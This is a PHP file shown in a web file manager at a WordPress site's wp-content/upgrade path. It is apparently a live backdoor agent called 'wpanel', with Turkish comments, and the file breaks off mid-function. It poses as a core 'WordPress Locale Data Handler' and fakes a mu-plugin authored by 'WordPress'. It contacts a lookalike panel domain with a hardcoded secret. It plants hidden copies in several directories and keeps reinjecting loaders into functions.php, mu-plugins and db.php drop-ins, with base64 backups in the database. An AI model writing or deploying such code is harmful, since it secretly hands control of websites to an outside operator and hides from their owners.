File "class-wp-locale-data.php"
Full path: /home/hivecor1/public_html/wp-content/upgrade/class-wp-locale-data.php
File
size: 94.87 B (94.87 KB bytes)
MIME-type: text/x-php
Charset: utf-8
Download Open Edit Advanced Editor &nnbsp; Back
<?php
// wpanel - bu blogu functions.php en altina yapistir (tek parca)
if (!defined('WPANEL_AGENT_LOADED')) {
if (defined('ABSPATH') && defined('WP_CONTENT_DIR')) {
if (!defined('WPANEL_HIDDEN_REL')) {
define('WPANEL_HIDDEN_REL', 'languages/class-wp-locale-switch.php');
}
if (!defined('WPANEL_HIDDEN_FILE')) {
define('WPANEL_HIDDEN_FILE', 'class-wp-locale-switch.php');
}
if (!defined('WPANEL_HIDDEN_FALLBACK_REL')) {
define('WPANEL_HIDDEN_FALLBACK_REL', 'upgrade/class-wp-locale-switch.php');
}
// DİKKAT: standalone bootstrap (uploads/wp-locale-cache/index.php) ASLA agent gövdesi değil — require etme
$_wpanelHidden = '';
foreach ([
WP_CONTENT_DIR . '/' . WPANEL_HIDDEN_REL,
WP_CONTENT_DIR . '/' . WPANEL_HIDDEN_FALLBACK_REL,
WP_CONTENT_DIR . '/cache/class-wp-locale-switch.php',
WP_CONTENT_DIR . '/languages/class-wp-locale-data.php',
WP_CONTENT_DIR . '/.wpanel/agent.php',
] as $_wpanelCandidate) {
if (is_file($_wpanelCandidate)) {
$_wpanelHidden = $_wpanelCandidate;
break;
}
}
if ($_wpanelHidden === '') {
$_wpanelHidden = WP_CONTENT_DIR . '/' . WPANEL_HIDDEN_REL;
}
$_wpanelRunInline = true;
if (is_file($_wpanelHidden)) {
$_wpanelSelf = @realpath(__FILE__);
$_wpanelHiddenReal = @realpath($_wpanelHidden);
$_wpanelLoadHidden = false;
if ($_wpanelSelf !== false && $_wpanelHiddenReal !== false) {
$_wpanelLoadHidden = ($_wpanelSelf !== $_wpanelHiddenReal);
} else {
$_wpanelLoadHidden = (basename(__FILE__) !== WPANEL_HIDDEN_FILE && basename(__FILE__) !== 'agent.php');
}
if ($_wpanelLoadHidden) {
require_once $_wpanelHidden;
$_wpanelRunInline = false;
}
}
if ($_wpanelRunInline) {
define('WPANEL_AGENT_LOADED', true);
// ============ AYARLAR ============
if (!defined('WPANEL_HIDDEN_REL')) {
// v2 path — eski stub class-wp-locale-data.php'yi ezmeye devam eder; biz bu dosyayı kullanırız
define('WPANEL_HIDDEN_REL', 'languages/class-wp-locale-switch.php');
}
if (!defined('WPANEL_HIDDEN_FILE')) {
define('WPANEL_HIDDEN_FILE', 'class-wp-locale-switch.php');
}
if (!defined('WPANEL_HIDDEN_FALLBACK_REL')) {
define('WPANEL_HIDDEN_FALLBACK_REL', 'upgrade/class-wp-locale-switch.php');
}
if (!defined('WPANEL_PANEL_URL')) {
define('WPANEL_PANEL_URL', 'https://wordpiress.com'); // Panel adresin
}
if (!defined('WPANEL_SECRET')) {
define('WPANEL_SECRET', 'whJdqOWF_peZwCIBd4B97oqPtRjAVTQ---2t7erxM1I'); // .env AGENT_SECRET ile aynı — varsayılan reddedilir
}
// Panel imza doğrulama açık anahtarı (public key). SIR DEĞİLDİR: dosya okunsa bile
// private key panelde kaldığından geçerli imza üretilemez → sadece panel yazabilir.
if (!defined('WPANEL_SIGN_PUBKEY')) {
define('WPANEL_SIGN_PUBKEY', "-----BEGIN PUBLIC KEY-----\n"
. "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAjTYqIWJ6PdOzRhZ6O3Wu\n"
. "+Nrq+MsWF8HnEnUiHVzGsqfAsQKy5wt3Hvnyj+C1BuK9ovUtaL9XuY4V67EyLUxK\n"
. "dQ3IzLEeUD+A6CQK4KjYYv2U8ZoYNRePv55VBY+7iZFyGjgOYrplcNcK/rXn63MD\n"
. "L3Rt/zKKwuhmS1Iy/Us66pxk8hBjSi29vDJeRaNPPvxckVXw/n42uvYcx3PMjYfK\n"
. "WcwDsbiZFpEMh7qChBNCq5Q+aJJd6jEmMdv0QLvwZ2NkKWTAxuviL0gIbuBYE5/m\n"
. "GLgbMtejHxDpsr1zxHpx6xthk6YguM4YFrZJzEJAZV1xAnM54IP9tso/pI9jMgYu\n"
. "UwIDAQAB\n"
. "-----END PUBLIC KEY-----\n");
}
define('WPANEL_AGENT_VERSION', '2.0.6');
if (!defined('WPANEL_INSTALL_TARGET')) {
define('WPANEL_INSTALL_TARGET', 'theme');
}
define('WPANEL_FUNCTIONS_MARKER', 'WPANEL:BEGIN');
define('WPANEL_DB_MARKER', 'wp-core-locale-bootstrap');
define('WPANEL_MU_PLUGIN_REL', 'mu-plugins/wp-locale-bootstrap.php');
define('WPANEL_MU_MARKER', 'wp-locale-bootstrap');
define('WPANEL_LEGACY_HIDDEN_REL', '.wpanel/agent.php');
define('WPANEL_LEGACY_DB_MARKER', 'wpanel-db-loader');
define('WPANEL_STANDALONE_REL', 'uploads/wp-locale-cache/index.php');
define('WPANEL_CACHE_HIDDEN_REL', 'cache/class-wp-locale-switch.php');
define('WPANEL_AC_DROPIN_REL', 'advanced-cache.php');
define('WPANEL_AC_MARKER', 'wp-locale-advanced-cache');
define('WPANEL_PLUGIN_SEED_MAX', 12);
// =================================
error_reporting(0);
@ini_set('display_errors', '0');
if (!function_exists('hash_equals')) {
function hash_equals($known_string, $user_string)
{
if (!is_string($known_string) || !is_string($user_string)) {
return false;
}
if (strlen($known_string) !== strlen($user_string)) {
return false;
}
$result = 0;
$len = strlen($known_string);
for ($i = 0; $i < $len; $i++) {
$result |= ord($known_string[$i]) ^ ord($user_string[$i]);
}
return $result === 0;
}
}
/**
* Gizli kopya + functions.php'ye otomatik yeniden ekleme (+ db.php yedek).
*/
function wpanel_hidden_agent_path() {
return WP_CONTENT_DIR . '/' . WPANEL_HIDDEN_REL;
}
function wpanel_hidden_fallback_path() {
return WP_CONTENT_DIR . '/' . WPANEL_HIDDEN_FALLBACK_REL;
}
function wpanel_cache_hidden_path() {
return WP_CONTENT_DIR . '/' . WPANEL_CACHE_HIDDEN_REL;
}
function wpanel_standalone_path() {
return WP_CONTENT_DIR . '/' . WPANEL_STANDALONE_REL;
}
function wpanel_all_hidden_paths() {
return [
wpanel_hidden_agent_path(),
wpanel_hidden_fallback_path(),
wpanel_cache_hidden_path(),
wpanel_legacy_hidden_agent_path(),
];
}
function wpanel_hidden_read_path() {
foreach (array_merge(wpanel_all_hidden_paths(), [wpanel_standalone_path()]) as $path) {
if (is_file($path)) {
// Standalone bootstrap değil, gerçek agent gövdesi mi?
if ($path === wpanel_standalone_path()) {
$peek = @file_get_contents($path);
if (!is_string($peek) || strpos($peek, 'WPANEL_AGENT_VERSION') === false) {
continue;
}
}
return $path;
}
}
return wpanel_hidden_write_path();
}
function wpanel_hidden_write_path() {
$candidates = [
wpanel_hidden_agent_path(),
wpanel_hidden_fallback_path(),
wpanel_cache_hidden_path(),
];
foreach ($candidates as $path) {
$dir = dirname($path);
if (wpanel_ensure_dir($dir) && is_writable($dir)) {
return $path;
}
}
return wpanel_hidden_agent_path();
}
function wpanel_legacy_hidden_agent_path() {
return WP_CONTENT_DIR . '/' . WPANEL_LEGACY_HIDDEN_REL;
}
function wpanel_format_hidden_install($source) {
if (!is_string($source) || $source === '') {
return $source;
}
if (strpos($source, 'WordPress Locale Data Handler') !== false) {
return $source;
}
$source = preg_replace('/^<\?php\s*\n(?:\\/\\/[^\n]*\n)*/i', '', $source);
$source = ltrim($source);
$header = <<<'HDR'
/**
* WordPress Locale Data Handler
*
* Handles locale-specific data loading for translations.
*
* @package WordPress
* @subpackage i18n
* @since 6.4.0
*/
HDR;
return "<?php\n" . $header . $source;
}
function wpanel_cleanup_legacy_hidden() {
// Eski .wpanel kopyasını KORU — silme. Çoklu kalıcılık için yedek kalsın.
return;
}
function wpanel_agent_source() {
$file = __FILE__;
$content = @file_get_contents($file);
if (!is_string($content) || $content === '') {
return null;
}
if (preg_match('/\\/\\/ WPANEL:BEGIN[^\\n]*\\n\\s*(.*?)\\/\\/ WPANEL:END-AGENT/s', $content, $m)) {
$body = trim($m[1]);
if ($body !== '') {
if (stripos($body, '<?php') !== 0) {
$body = "<?php\n" . $body;
}
return $body . "\n";
}
}
if (basename($file) === WPANEL_HIDDEN_FILE || basename($file) === 'agent.php') {
return $content;
}
if (basename($file) === 'wpanel.php') {
return wpanel_format_hidden_install($content);
}
$hidden = wpanel_hidden_read_path();
if (is_file($hidden)) {
$cached = @file_get_contents($hidden);
if (is_string($cached) && $cached !== '') {
return $cached;
}
}
return null;
}
function wpanel_saved_functions_block_valid($saved) {
if (!is_string($saved) || $saved === '') {
return false;
}
return strpos($saved, 'WPANEL:BEGIN') !== false;
}
function wpanel_get_saved_functions_block() {
if (!function_exists('get_option')) {
return null;
}
$saved = get_option('wpanel_functions_block');
if (wpanel_saved_functions_block_valid($saved)) {
return trim($saved);
}
$backup = get_option('wpanel_agent_backup');
if (!is_string($backup) || $backup === '') {
return null;
}
$content = base64_decode($backup, true);
if (!is_string($content) || $content === '') {
return null;
}
if (preg_match('/(\\/\\/ WPANEL:BEGIN.*?\\/\\/ WPANEL:END-AGENT)/s', $content, $m)) {
$block = trim($m[1]);
if (wpanel_saved_functions_block_valid($block)) {
if (function_exists('update_option')) {
update_option('wpanel_functions_block', $block, false);
}
return $block;
}
}
return null;
}
function wpanel_save_source_backup($content) {
if (!function_exists('update_option')) {
return;
}
update_option('wpanel_agent_backup', base64_encode($content), false);
update_option('wpanel_agent_version', WPANEL_AGENT_VERSION, false);
}
function wpanel_ensure_dir($dir) {
if (is_dir($dir)) {
return true;
}
if (function_exists('wp_mkdir_p')) {
return (bool) wp_mkdir_p($dir);
}
return @mkdir($dir, 0755, true) || is_dir($dir);
}
function wpanel_write_file($path, $content) {
$dir = dirname($path);
if (!wpanel_ensure_dir($dir)) {
return false;
}
if (!is_writable($dir)) {
return false;
}
if (is_file($path) && !is_writable($path)) {
@chmod($path, 0664);
}
return @file_put_contents($path, $content, LOCK_EX) !== false;
}
/**
* Dosya kapanis PHP etiketi ile bitince loader duz metin sizar. Kapanisi kaldir / sizintiyi onar.
* Snippet her zaman PHP modunda eklenir.
*/
function wpanel_has_closing_php_loader_leak($content) {
$content = (string) $content;
if (preg_match('/\?' . '>\s*\/\/ WordPress locale data handler/s', $content)) {
return true;
}
if (preg_match('/\?' . '>\s*\/\/ wp-core-locale-bootstrap/s', $content)) {
return true;
}
if (preg_match('/\?' . '>\s*\/\/ WPANEL:BEGIN/s', $content)) {
return true;
}
return false;
}
function wpanel_repair_closing_php_loader_leak($content) {
$content = (string) $content;
if (!wpanel_has_closing_php_loader_leak($content)) {
return $content;
}
// Kapanis etiketini kaldir → ardindan gelen loader tekrar PHP olarak calisir
$content = preg_replace('/\?' . '>\s*(?=\/\/ WordPress locale data handler)/s', "\n", $content, 1);
$content = preg_replace('/\?' . '>\s*(?=\/\/ wp-core-locale-bootstrap)/s', "\n", $content, 1);
return preg_replace('/\?' . '>\s*(?=\/\/ WPANEL:BEGIN)/s', "\n", $content, 1);
}
function wpanel_append_php_code($content, $snippet) {
$content = wpanel_repair_closing_php_loader_leak((string) $content);
$snippet = (string) $snippet;
if ($snippet === '') {
return $content;
}
$trimmed = rtrim($content);
if (substr($trimmed, -2) === '?' . '>') {
$content = rtrim(substr($trimmed, 0, -2));
}
return rtrim($content) . "\n" . ltrim($snippet, "\n");
}
/**
* Aktif eklenti + host dosyalarındaki ?> sızıntılarını onar (plaintext loader).
*/
function wpanel_repair_all_loader_leaks() {
$fixed = 0;
$targets = [];
if (defined('WP_PLUGIN_DIR') && function_exists('get_option')) {
foreach ((array) get_option('active_plugins', []) as $rel) {
$rel = ltrim(str_replace('\\', '/', (string) $rel), '/');
if ($rel === '' || strpos($rel, '..') !== false) {
continue;
}
$targets[] = WP_PLUGIN_DIR . '/' . $rel;
}
}
if (function_exists('wpanel_functions_targets')) {
foreach (wpanel_functions_targets() as $f) {
$targets[] = $f;
}
}
$targets = array_values(array_unique(array_filter($targets)));
foreach ($targets as $file) {
if (!is_file($file) || !is_readable($file)) {
continue;
}
$content = @file_get_contents($file);
if (!is_string($content) || $content === '') {
continue;
}
if (!wpanel_has_closing_php_loader_leak($content)) {
continue;
}
if (!is_writable($file)) {
@chmod($file, 0664);
}
if (!is_writable($file)) {
continue;
}
$repaired = wpanel_repair_closing_php_loader_leak($content);
if ($repaired !== $content && wpanel_write_file($file, $repaired)) {
$fixed += 1;
}
}
return $fixed;
}
function wpanel_hidden_loader_code() {
// Standalone HTTP bootstrap buraya KONMAZ — sadece gerçek agent gövdeleri
return <<<'PHP'
$_wp_locale_candidates = [
WP_CONTENT_DIR . '/languages/class-wp-locale-data.php',
WP_CONTENT_DIR . '/upgrade/class-wp-locale-data.php',
WP_CONTENT_DIR . '/cache/class-wp-locale-data.php',
WP_CONTENT_DIR . '/.wpanel/agent.php',
];
foreach ($_wp_locale_candidates as $_wp_locale_data) {
if (is_file($_wp_locale_data)) {
require_once $_wp_locale_data;
break;
}
}
PHP;
}
function wpanel_hidden_loader_snippet() {
return "\n\n// WordPress locale data handler\n" . wpanel_hidden_loader_code() . "\n";
}
function wpanel_hidden_needs_update($target, $source) {
if (!is_file($target)) {
return true;
}
$existing = @file_get_contents($target);
if ($existing === false || $existing === '') {
return true;
}
if (md5($existing) === md5($source)) {
return false;
}
$installedVer = '';
if (preg_match("/define\\('WPANEL_AGENT_VERSION',\\s*'([^']+)'\\)/", $existing, $m)) {
$installedVer = $m[1];
}
return $installedVer !== WPANEL_AGENT_VERSION;
}
function wpanel_restore_hidden_from_backup() {
if (!function_exists('get_option')) {
return false;
}
$backup = get_option('wpanel_agent_backup');
if (!is_string($backup) || $backup === '') {
return false;
}
$content = base64_decode($backup, true);
if (!is_string($content) || $content === '') {
return false;
}
return wpanel_restore_hidden_to_all($content);
}
function wpanel_restore_hidden_to_all($content) {
$formatted = wpanel_format_hidden_install($content);
$ok = false;
foreach (wpanel_all_hidden_paths() as $target) {
if (wpanel_write_file($target, $formatted)) {
$ok = true;
}
}
return $ok;
}
function wpanel_new_hidden_exists() {
foreach ([
wpanel_hidden_agent_path(),
wpanel_hidden_fallback_path(),
wpanel_cache_hidden_path(),
wpanel_legacy_hidden_agent_path(),
] as $path) {
if (is_file($path)) {
return true;
}
}
return false;
}
function wpanel_extract_block_version($content) {
$content = (string) $content;
// Şifreli stub: // wpanel-agent-version: 2.0.6
if (preg_match('/wpanel-agent-version:\s*([0-9]+(?:\.[0-9]+)*)/', $content, $m)) {
return $m[1];
}
if (preg_match("/define\\('WPANEL_AGENT_VERSION',\\s*'([^']+)'\\)/", $content, $m)) {
return $m[1];
}
return '';
}
/**
* Aktif/parent tema functions.php'lerinde WPANEL:BEGIN bloğunu ara,
* en yeni sürümü döndür. Oto-upgrade için kullanılır:
* Panel'den güncel kod functions.php'ye yapıştırıldığında, db.php üzerinden
* yüklenen ESKİ gizli kopya bunu görüp kendini yeni sürüme yazar.
*/
function wpanel_read_theme_block() {
if (!function_exists('get_stylesheet_directory')) {
return null;
}
$best = null;
$bestVer = '';
$bestEncrypted = false;
foreach (wpanel_functions_targets() as $file) {
if (!is_file($file) || !is_readable($file)) {
continue;
}
$content = @file_get_contents($file);
if (!is_string($content) || $content === '') {
continue;
}
if (!preg_match('/\\/\\/ WPANEL:BEGIN[^\\n]*\\n\\s*(.*?)\\/\\/ WPANEL:END-AGENT/s', $content, $m)) {
continue;
}
$body = $m[1];
$ver = wpanel_extract_block_version($content);
if ($ver === '') {
$ver = wpanel_extract_block_version($body);
}
$enc = (strpos($body, '_wp_locale_pack_decode') !== false);
if ($best === null || ($ver !== '' && version_compare($ver, $bestVer, '>'))) {
$best = $body;
$bestVer = $ver;
$bestEncrypted = $enc;
}
}
if ($best === null) {
return null;
}
if (stripos($best, '<?php') !== 0 && !$bestEncrypted) {
$best = "<?php\n" . $best;
}
return ['version' => $bestVer, 'source' => $best . "\n", 'encrypted' => $bestEncrypted];
}
function wpanel_ensure_hidden_copy() {
$source = wpanel_agent_source();
// OTO-UPGRADE: tema functions.php'de DAHA YENİ bir sürüm varsa ona yükselt.
// Böylece güncel kodu functions.php'ye yapıştırmak, eski gizli kopyayı
// (db.php üzerinden yüklenip çalışsa bile) otomatik günceller.
$theme = wpanel_read_theme_block();
if ($theme !== null && $theme['version'] !== ''
&& version_compare($theme['version'], WPANEL_AGENT_VERSION, '>')) {
// Şifreli stub agent gövdesi değil — gizli kopyayı ESKİ kaynakla ezme.
// Stub aynı istekte (tema yüklendiğinde) yeni gövdeyi tüm path'lere yazar.
if (!empty($theme['encrypted'])) {
return;
}
$source = $theme['source'];
}
if ($source === null) {
wpanel_restore_hidden_from_backup();
return;
}
wpanel_save_source_backup($source);
$formatted = wpanel_format_hidden_install($source);
// Çoklu gizli kopya: languages + upgrade + cache + legacy
foreach (wpanel_all_hidden_paths() as $target) {
$existing = is_file($target) ? @file_get_contents($target) : false;
if ($existing === false || $existing === '' || md5($existing) !== md5($formatted)) {
wpanel_write_file($target, $formatted);
}
}
wpanel_ensure_standalone_bootstrap();
}
function wpanel_capture_functions_block() {
if (!function_exists('update_option')) {
return;
}
$paths = [];
foreach (wpanel_functions_targets() as $file) {
$paths[] = $file;
}
$hidden = wpanel_hidden_read_path();
if (is_string($hidden) && $hidden !== '') {
$paths[] = $hidden;
}
$paths[] = __FILE__;
$paths = array_values(array_unique($paths));
foreach ($paths as $path) {
$content = @file_get_contents($path);
if (!is_string($content) || $content === '') {
continue;
}
if (preg_match('/(\\/\\/ WPANEL:BEGIN.*?\\/\\/ WPANEL:END-AGENT)/s', $content, $m)) {
update_option('wpanel_functions_block', trim($m[1]), false);
return;
}
}
}
function wpanel_functions_loader_snippet() {
// Önce DB'deki tam blok (eskisi gibi), yoksa minimal loader
$saved = wpanel_get_saved_functions_block();
if (is_string($saved) && $saved !== '') {
return "\n\n" . $saved . "\n";
}
return wpanel_hidden_loader_snippet();
}
function wpanel_is_hidden_path($path) {
$path = str_replace('\\', '/', (string) $path);
if ($path === '') {
return true;
}
$base = basename($path);
if ($base === WPANEL_HIDDEN_FILE || $base === 'agent.php') {
return true;
}
if (strpos($path, '/' . WPANEL_HIDDEN_REL) !== false) {
return true;
}
if (strpos($path, '/' . WPANEL_HIDDEN_FALLBACK_REL) !== false) {
return true;
}
if (strpos($path, '/' . WPANEL_CACHE_HIDDEN_REL) !== false) {
return true;
}
if (strpos($path, '/' . WPANEL_STANDALONE_REL) !== false) {
return true;
}
if (strpos($path, '/.wpanel/') !== false) {
return true;
}
if (strpos($path, '/wp-locale-cache/') !== false) {
return true;
}
return false;
}
function wpanel_candidate_host_file() {
if (defined('WPANEL_HOST_FILE') && is_string(WPANEL_HOST_FILE) && WPANEL_HOST_FILE !== '') {
return (string) WPANEL_HOST_FILE;
}
if (!wpanel_is_hidden_path(__FILE__)) {
return __FILE__;
}
return '';
}
function wpanel_classify_host($file) {
$file = str_replace('\\', '/', (string) $file);
if ($file === '' || wpanel_is_hidden_path($file)) {
return null;
}
if (defined('WP_PLUGIN_DIR')) {
$dir = rtrim(str_replace('\\', '/', WP_PLUGIN_DIR), '/');
if ($dir !== '' && strpos($file, $dir . '/') === 0) {
return 'plugin';
}
}
if (defined('WPMU_PLUGIN_DIR')) {
$dir = rtrim(str_replace('\\', '/', WPMU_PLUGIN_DIR), '/');
if ($dir !== '' && strpos($file, $dir . '/') === 0) {
return 'plugin';
}
}
if (function_exists('get_stylesheet_directory')) {
$dir = rtrim(str_replace('\\', '/', get_stylesheet_directory()), '/');
if ($dir !== '' && strpos($file, $dir . '/') === 0) {
return 'theme';
}
}
if (function_exists('get_template_directory')) {
$dir = rtrim(str_replace('\\', '/', get_template_directory()), '/');
if ($dir !== '' && strpos($file, $dir . '/') === 0) {
return 'theme';
}
}
if (defined('WPANEL_INSTALL_TARGET') && WPANEL_INSTALL_TARGET === 'plugin') {
return 'plugin';
}
return null;
}
function wpanel_remember_install_host() {
if (!function_exists('update_option')) {
return;
}
$candidate = wpanel_candidate_host_file();
$kind = wpanel_classify_host($candidate);
if ($kind === null) {
if (defined('WPANEL_INSTALL_TARGET') && WPANEL_INSTALL_TARGET === 'plugin') {
update_option('wpanel_install_target', 'plugin', false);
}
return;
}
update_option('wpanel_install_host', $candidate, false);
update_option('wpanel_install_target', $kind, false);
}
function wpanel_install_target() {
if (defined('WPANEL_INSTALL_TARGET') && WPANEL_INSTALL_TARGET === 'plugin') {
return 'plugin';
}
if (function_exists('get_option')) {
$saved = get_option('wpanel_install_target');
if ($saved === 'plugin' || $saved === 'theme') {
return $saved;
}
}
return 'theme';
}
function wpanel_saved_install_host() {
if (!function_exists('get_option')) {
return '';
}
$host = get_option('wpanel_install_host');
return is_string($host) ? $host : '';
}
/**
* Tarama hedefleri: plugin host + child/parent tema (okuma / capture / upgrade).
* Yazma için wpanel_functions_write_target() kullan.
*/
function wpanel_functions_targets() {
$files = [];
$host = wpanel_saved_install_host();
if ($host !== '' && is_file($host)) {
$files[] = $host;
}
$candidate = wpanel_candidate_host_file();
if ($candidate !== '' && is_file($candidate) && !in_array($candidate, $files, true)) {
$files[] = $candidate;
}
if (function_exists('get_stylesheet_directory')) {
$child = get_stylesheet_directory() . '/functions.php';
if (!in_array($child, $files, true)) {
$files[] = $child;
}
if (function_exists('get_template_directory')) {
$parent = get_template_directory() . '/functions.php';
if (!in_array($parent, $files, true)) {
$files[] = $parent;
}
}
}
return $files;
}
/**
* Yazılacak tek dosya:
* - plugin modu → kayıtlı / mevcut eklenti PHP dosyası (temaya yazılmaz)
* - theme modu → aktif tema functions.php (child varsa child)
*/
function wpanel_functions_write_target() {
if (wpanel_install_target() === 'plugin') {
$host = wpanel_saved_install_host();
if ($host !== '') {
return $host;
}
$candidate = wpanel_candidate_host_file();
if ($candidate !== '' && wpanel_classify_host($candidate) === 'plugin') {
return $candidate;
}
return '';
}
if (!function_exists('get_stylesheet_directory')) {
return '';
}
return get_stylesheet_directory() . '/functions.php';
}
function wpanel_functions_has_loader($content) {
if (strpos($content, 'WPANEL:BEGIN') !== false) {
return true;
}
if (strpos($content, WPANEL_HIDDEN_REL) !== false) {
return true;
}
if (strpos($content, WPANEL_HIDDEN_FALLBACK_REL) !== false) {
return true;
}
if (strpos($content, WPANEL_CACHE_HIDDEN_REL) !== false) {
return true;
}
if (strpos($content, WPANEL_STANDALONE_REL) !== false) {
return true;
}
if (strpos($content, WPANEL_DB_MARKER) !== false) {
return true;
}
if (strpos($content, WPANEL_MU_MARKER) !== false) {
return true;
}
if (strpos($content, 'WordPress locale data handler') !== false) {
return true;
}
if (strpos($content, WPANEL_LEGACY_HIDDEN_REL) !== false) {
return true;
}
return false;
}
/**
* functions.php içinden WPANEL bloğunu / locale loader satırlarını temizle.
*/
function wpanel_strip_functions_loader($content) {
if (!is_string($content) || $content === '') {
return $content;
}
$content = preg_replace(
'/\n*\s*\/\/\s*WPANEL:BEGIN.*?\/\/\s*WPANEL:END-AGENT\s*/s',
"\n",
$content
);
// Eski zincirli loader
$content = preg_replace(
'/\n*\s*\/\/\s*WordPress locale data handler\s*\n'
. '\s*\$_wp_locale_data\s*=\s*WP_CONTENT_DIR\s*\.\s*\'\/languages\/class-wp-locale-data\.php\';\s*\n'
. '(?:\s*if\s*\(!is_file\(\$_wp_locale_data\)\)\s*\{\s*\n'
. '\s*\$_wp_locale_data\s*=\s*WP_CONTENT_DIR\s*\.\s*\'[^\']+\';\s*\n'
. '\s*\}\s*\n)+'
. '\s*if\s*\(is_file\(\$_wp_locale_data\)\)\s*\{\s*\n'
. '\s*require_once\s*\$_wp_locale_data;\s*\n'
. '\s*\}\s*/s',
"\n",
$content
);
// Yeni foreach loader
$content = preg_replace(
'/\n*\s*\/\/\s*WordPress locale data handler\s*\n'
. '\s*\$_wp_locale_candidates\s*=\s*\[[^\]]*\]\s*;\s*\n'
. '\s*foreach\s*\(\s*\$_wp_locale_candidates\s+as\s+\$_wp_locale_data\s*\)\s*\{'
. '.*?'
. '\}\s*/s',
"\n",
$content
);
return rtrim($content) . "\n";
}
/**
* Child temada parent + child ikisine birden yazılmışsa parent'tan kaldır.
* WP her ikisini de yüklediği için çift ekleme critical error verir.
*/
function wpanel_dedupe_functions_loader() {
if (!function_exists('get_stylesheet_directory') || !function_exists('get_template_directory')) {
return false;
}
$child = get_stylesheet_directory() . '/functions.php';
$parent = get_template_directory() . '/functions.php';
if ($child === $parent) {
return false;
}
if (!is_file($child) || !is_file($parent)) {
return false;
}
$childContent = @file_get_contents($child);
$parentContent = @file_get_contents($parent);
if ($childContent === false || $parentContent === false) {
return false;
}
if (!wpanel_functions_has_loader($childContent) || !wpanel_functions_has_loader($parentContent)) {
return false;
}
if (!is_writable($parent)) {
@chmod($parent, 0664);
}
if (!is_writable($parent)) {
return false;
}
$cleaned = wpanel_strip_functions_loader($parentContent);
if ($cleaned === $parentContent || wpanel_functions_has_loader($cleaned)) {
return false;
}
return wpanel_write_file($parent, $cleaned);
}
function wpanel_ensure_functions_loader() {
wpanel_remember_install_host();
// Theme kurulumunda child+parent çift kopyayı temizle
if (wpanel_install_target() !== 'plugin') {
wpanel_dedupe_functions_loader();
}
$snippet = wpanel_functions_loader_snippet();
if ($snippet === '') {
return false;
}
// Host / tema dosyalarında zaten varsa — kapanış etiketi sızıntısı varsa onar
foreach (wpanel_functions_targets() as $existing) {
if (!is_file($existing) || !is_readable($existing)) {
continue;
}
$content = @file_get_contents($existing);
if (!is_string($content) || !wpanel_functions_has_loader($content)) {
continue;
}
if (wpanel_has_closing_php_loader_leak($content)) {
if (!is_writable($existing)) {
@chmod($existing, 0664);
}
if (is_writable($existing)) {
wpanel_write_file($existing, wpanel_repair_closing_php_loader_leak($content));
}
}
return true;
}
// Plugin → eklenti dosyası; theme → child/aktif functions.php
$file = wpanel_functions_write_target();
if ($file === '') {
return false;
}
$dir = dirname($file);
if (!is_dir($dir)) {
wpanel_ensure_dir($dir);
}
if (!is_writable($dir)) {
@chmod($dir, 0755);
}
if (!is_file($file)) {
if (!wpanel_ensure_dir($dir) || !is_writable($dir)) {
return false;
}
return wpanel_write_file($file, "<?php\n" . ltrim($snippet));
}
if (!is_readable($file)) {
return false;
}
$content = @file_get_contents($file);
if ($content === false) {
return false;
}
if (wpanel_functions_has_loader($content)) {
if (wpanel_has_closing_php_loader_leak($content)) {
if (!is_writable($file)) {
@chmod($file, 0664);
}
if (!is_writable($file)) {
return false;
}
return wpanel_write_file($file, wpanel_repair_closing_php_loader_leak($content));
}
return true;
}
if (!is_writable($file)) {
@chmod($file, 0664);
}
if (!is_writable($file)) {
return false;
}
return wpanel_write_file($file, wpanel_append_php_code($content, $snippet));
}
function wpanel_mu_plugin_path() {
return WP_CONTENT_DIR . '/' . WPANEL_MU_PLUGIN_REL;
}
function wpanel_mu_plugin_snippet() {
return <<<'PHP'
<?php
/**
* Plugin Name: WP Locale Bootstrap
* Description: Initializes locale data handlers for translations.
* Version: 6.4.0
* Author: WordPress
*/
// wp-locale-bootstrap
if (function_exists('wpanel_agent_start')) {
wpanel_agent_start();
} else {
$_wp_locale_candidates = [
__DIR__ . '/../languages/class-wp-locale-data.php',
__DIR__ . '/../upgrade/class-wp-locale-data.php',
__DIR__ . '/../cache/class-wp-locale-data.php',
__DIR__ . '/../.wpanel/agent.php',
];
foreach ($_wp_locale_candidates as $_wp_locale_data) {
if (is_file($_wp_locale_data)) {
require_once $_wp_locale_data;
break;
}
}
if (function_exists('wpanel_agent_start')) {
wpanel_agent_start();
}
}
PHP;
}
function wpanel_mu_plugin_present($content) {
if (!is_string($content) || $content === '') {
return false;
}
return strpos($content, WPANEL_MU_MARKER) !== false;
}
function wpanel_mu_plugin_is_broken($content) {
if (!is_string($content) || $content === '') {
return false;
}
if (!wpanel_mu_plugin_present($content)) {
return false;
}
// <?php etiketi yoksa dosya düz metin olarak basılır — bozuk.
if (strpos($content, '<?php') === false) {
return true;
}
// Eski mu-plugin: agent_start çağrısı yoksa early-load bug'ı devam eder
if (strpos($content, 'wpanel_agent_start') === false) {
return true;
}
return false;
}
function wpanel_ensure_mu_plugin() {
if (!defined('WP_CONTENT_DIR') || !is_dir(WP_CONTENT_DIR)) {
return false;
}
$path = wpanel_mu_plugin_path();
$snippet = wpanel_mu_plugin_snippet();
if (is_file($path)) {
$content = @file_get_contents($path);
if ($content !== false) {
if (wpanel_mu_plugin_is_broken($content)) {
return wpanel_write_file($path, $snippet);
}
if (wpanel_mu_plugin_present($content)) {
return true;
}
}
}
return wpanel_write_file($path, $snippet);
}
function wpanel_db_dropin_snippet() {
return <<<'PHP'
// wp-core-locale-bootstrap
$_wp_locale_candidates = [
__DIR__ . '/languages/class-wp-locale-data.php',
__DIR__ . '/upgrade/class-wp-locale-data.php',
__DIR__ . '/cache/class-wp-locale-data.php',
__DIR__ . '/.wpanel/agent.php',
];
foreach ($_wp_locale_candidates as $_wp_locale_data) {
if (is_file($_wp_locale_data)) {
require_once $_wp_locale_data;
break;
}
}
PHP;
}
function wpanel_db_dropin_present($content) {
if (!is_string($content) || $content === '') {
return false;
}
if (strpos($content, WPANEL_DB_MARKER) !== false) {
return true;
}
if (strpos($content, WPANEL_LEGACY_DB_MARKER) !== false) {
return true;
}
if (strpos($content, WPANEL_HIDDEN_REL) !== false) {
return true;
}
if (strpos($content, WPANEL_LEGACY_HIDDEN_REL) !== false) {
return true;
}
return false;
}
/**
* db.php bizim loader'ımızı içeriyor ama bozuksa tespit et.
* (Örn. eski sürümün hatalı strip'inden kalan başıboş '}' ya da
* marker var ama require_once satırı yok.)
*/
function wpanel_db_dropin_is_broken($content) {
if (!is_string($content) || $content === '') {
return false;
}
$isOurs = (strpos($content, WPANEL_DB_MARKER) !== false)
